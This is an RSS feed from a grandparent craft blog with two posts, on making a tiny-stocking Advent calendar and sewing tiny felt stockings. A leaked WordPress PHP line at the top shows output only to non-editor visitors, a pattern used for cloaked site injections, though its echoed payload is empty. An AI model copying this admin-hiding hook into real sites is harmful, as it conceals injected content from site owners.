function wp_pf_ddc3db36(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_ddc3db36"); advent calendar Archives - Call Me Grandma An idea blog for grandparents and parents Mon, 20 Oct 2025 15:09:30 +0000 en-US hourly 1 How to Make an Advent Calendar: Start Now https://www.callmegrandma.com/how-to-make-an-advent-calendar-start-now/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-make-an-advent-calendar-start-now Wed, 27 Nov 2024 05:00:47 +0000 https://www.callmegrandma.com/?p=14291 Make tiny stockings, fill with gifts and hang on a Christmas tree for a novel Advent calendar. Plus more ideas.

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]]> Advent calendars are a fun way for the grandkids to channel their excitement as they count down to Christmas.

Last year, I made tiny stockings from felt. It wasn’t meant to be an Advent calendar, but once I had the idea, I wanted to pursue it.

A variety. of tiny stockings are decorated and numbered for an Advent calendar.
Advent calendar stockings: numbers are embroidered, stamped, or added with a sticker.

So, I enlisted 10-year-old Miss T to help with the project. Stitching up 24 stockings is a feat, so we took turns at the sewing machine. Find instructions for making tiny stockings here.

Child stitches felt stockings for an Advent calendar.
Miss T stitches a felt stocking.

Note: only invite a child who has taken sewing classes or is an experienced sewer. Sewing tiny stockings on an electric sewing machine can be dangerous for a novice.

Many Types of Advent Calendars

If you’re not into sewing, at the end of this post, I’ve provided a simple alternative, an Advent calendar using small paper bags, along with a link to my curated collection of more Advent Calendar ideas on Pinterest.

Kids’ project: make a simple wreath

Child arranges elements for a DIY Christmas wreath.

Tiny Stockings Become an Advent Calendar

Stitching and decorating 24 stockings was time-consuming. While the first stockings had lace trim and sewn-on buttons, and embroidered numbers, towards the end, we were resorting to foam Christmas stickers, stick-on numbers, and a glue gun.

Child adheres trim with a glue gun to decorate small Christmas stockings for an Advent calendar.
Miss T uses a glue gun to glue numbered stickers on our Advent calendar stockings.

Next, I struggled to come up with a way to display the stockings. My best thought was to string them up and hang them, but that would take too much space on a wall.

How to Display your Stockings for an Advent Calendar

In the end, we hung the stockings on the children’s Christmas tree, which we set up for them each year.

Child's Christmas tree is turned into an Advent calendar by hanging tiny felt stockings, numbered, and with a treat in each one.
Advent calendar stockings filled with small treats on the children’s Christmas tree.

If you don’t have a Christmas tree, just group the stockings in a small wicker basket. Or hang them like a mobile on a decorated wire hanger.

What to Put in your Advent Calendar

In Japan last month, I scoured stores like Daiso or Hands, to find small, fun things suitable for Advent calendars. In the U.S., there may be a Daiso near you, as the company continues to open more stores in the U.S. Dollar stores and Target are also good options.

Here are some ideas:

A few Advent calendar "stuffers" found in Japan including animal paper clips, stickers, pen, stamp, eraser, and washi tape.
Some of my Advent calendar finds from Japan: Clockwise from panda paper clips, stickers, small pen, panda stamp, chick eraser, washi tape.

Easy Alternative: Paper Bag Advent Calendar

An alternative Advent calendar consists of small paper bags, numbered and stuffed with treats. Display in a basket.
Make an Advent calendar from small paper bags.

Tuck little gifts into small paper bags. The ones I bought were $7.29 for 100 bags. Write or stamp numbers onto paper punch-cut shapes from cardstock, by using a Cricut machine, or cut freehand. Adhere to the bag.

Or simply write numbers on the bags with colorful markers. You could even get kids to decorate the bags with markets before you stuff them.

More Ideas for Advent Calendars

For other great Advent calendar ideas, visit my PInterest page. You’ll need to sign up for a Pinterest account (free).

Next Week: We’ll Plan our Holiday Table Setting

I love to come up with a new table setting idea each holiday season. We’ll look at what I did last year, with a Christmas tree theme, and other table setting ideas from years past.

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]]> Christmas Crafts: How to Make Tiny Stockings https://www.callmegrandma.com/christmas-crafts-how-to-make-tiny-stockings/?utm_source=rss&utm_medium=rss&utm_campaign=christmas-crafts-how-to-make-tiny-stockings Wed, 22 Nov 2023 05:00:50 +0000 https://www.callmegrandma.com/?p=11581 There are so many fun uses for easy-to-make tiny Christmas stockings crafted from felt and trim scraps.

The post Christmas Crafts: How to Make Tiny Stockings appeared first on Call Me Grandma.

]]> At my first job, I was struggling to make ends meet while working at a magazine in New York City. That Christmas, instead of buying gifts, I made Christmas crafts–stitching tiny stockings for my editorial friends and filling the stockings with small goodies.

This Christmas craft idea is easy to make using felt and trimming scraps. Pictured is a sampling of tiny stockings.
Super-cute tiny stockings are made from felt scraps and trimmings, with ribbon loops.

After all those years, last week, I started making these stockings again. My grand plan was to make 24. I’d string them together, fill a little something in each, and make an Advent calendar for the grandkids.

While making one stocking was quick, making 24 was more time-consuming than I had imagined–and also a little challenging. As I cut the stockings and lined them up, I realized that it would take a mighty big wall to hold them all.

How to make photo ornaments for Christmas.

Take photos of your loved ones and insert in a clear Christmas ball for a sweet, personalized ornament.

This is a work in progress. If you think a tiny stocking Advent calendar is a great idea, you are on your own to complete it! (But I do provide some thoughts below on how it might work.)

Still, there are so many ways to use these tiny stockings during the holidays, why not make up a batch?

What to do with Tiny Stockings

Add a tiny stocking at each place setting as a Christmas dinner party favor.

Here are some fabulous uses:

  • Turn them into party favors; fill with goodies and add one to each place setting for Christmas dinner.
  • Hang them on your Christmas tree.
  • Fill with cash, a check, or a gift card as a Christmas present.
  • Fill with candy and tie to a gift package as a bonus treat.
  • Tie to a bottle of wine to dress up a hostess gift.
  • Make one for a child’s doll and ask Santa to fill it.
  • Help a child to make tiny stockings and stuff with promissory notes for future tasks as a gift for parents.
Tiny Christmas stocking is filled with candy and tied to a gift package for a tasty decoration.
Package wrapped in kid-made gift wrap is decorated with a candy-filled tiny stocking.

How to Make Tiny Stockings

If you can sew and have a sewing machine, these are quite easy to make. If you don’t have a sewing machine, you can hand stitch with embroidery thread using a running stitch or blanket stitch. Hand sewing makes this a project suitable for a child.

Pattern for making tiny Christmas stockings start with a 4- X 3-inch square.
Make a pattern from a square that’s 3 inches wide and 4 inches long.

Step #1, Make a Pattern

To do this, draw a rectangle 4 inches X 3 inches. Measure up from the bottom 1 1/2 inches and draw a parallel line 1 inch wide from the right edge. Draw a perpendicular line from the end of that line to the top of the rectangle. Round the corners with a pencil. Cut out your pattern.

Step #2, Cut and Stitch

Pin the pattern to two layers of felt and cut. To add a band of trim at the top, cut the trim longer than the width of the stocking, allowing about 1/2-inch margin on each side. Center the trim and top stitch the trim to one layer of the felt.

Cut a piece of narrow ribbon to 3 inches. Fold in half to form a loop.

Pin the two stocking pieces together, folding in the extra trimming on each side so the raw edges are sandwiched between the back and front of the stocking. Pin ribbon loop to the top of the stocking, again sandwiched between the back and front of the stocking.

Top stitch the two layers of the stocking 1/4-inch from the edge along the sides and bottom of the stocking, catching the trim and loop as you stitch. The idea is to attach trimming and loop with one pass of the sewing machine.

Pin two stocking layers together with raw edge of trimming and ribbon loop sandwiched between two layers of stocking.
Tuck the ends of the trim between the back and front stocking and pin in place. Also pin ribbon loop at the corner.

If your stitching isn’t perfectly even along the outer margins of the stocking, take a pair of sharp scissors and trim any excess.

Notes

  • For efficiency, I sewed all the stockings with white thread. While it’s best to color-match, it takes too long to change the thread when sewing many stockings.
  • If you have trouble catching the ribbon loop of the stocking as you sew, just insert it between the two layers of the stocking and machine stitch in place after the stocking has been stitched together.

How to make snow-covered branches as a centerpiece

Brust dried branches with white glue and dust with epsom salts for holiday decorations.

How to Decorate the Tiny Stockings

These tiny stockings are cute as they are, but if you would like to embellish them, here are some ideas. Some decorations are best applied before stitching the stocking; others are best after the stocking is made.

Do these decorations before stitching the stocking together:

  • Embroider a design, a child’s name or Advent day number
  • Sew on sequins
  • Cut a scrap of felt into a heart or Christmas tree shape and glue or stitch in place
  • Sew on colorful buttons
  • Sew on Christmas-themed appliqués (here’s an example–some of them may be too large)

Do these decorations after stitching stocking together:

  • Attach a sprig of fake holly, a small jingle bell, or other holiday decorations with needle and thread
  • Stitch on a small bow
  • Glue on a small photo of a child using white school glue

The Advent Calendar Christmas Craft

I can’t guarantee the results, since I haven’t completed this Christmas craft myself. But here’s what I’m thinking:

To turn tiny stockings into an Advent calendar, lay out all the stockings to determine how each will face.
Lay out all your stockings to determine how each one will face and which colors you will use where.
  • If you don’t want all the stockings facing in the same way when you string them up, you have to plan in advance. Lay out all the felt shapes and determine which ones will turn which way so you’ll know where to put the loops and which side to decorate with trim. Think also about colors and how you will want them arranged.
  • Take a photo for reference.
  • To string up the stockings, thread the twine (I’m thinking red and white baker’s twine) through the loop from one end, then loop it back so that the stockings will be locked in place; otherwise they’ll shift and slide when you hang them. Or use tiny clothespins.

A year later, I came up with some better ways to turn the tiny stockings into an Advent calendar.

Next week, we’ll do more holiday crafting!

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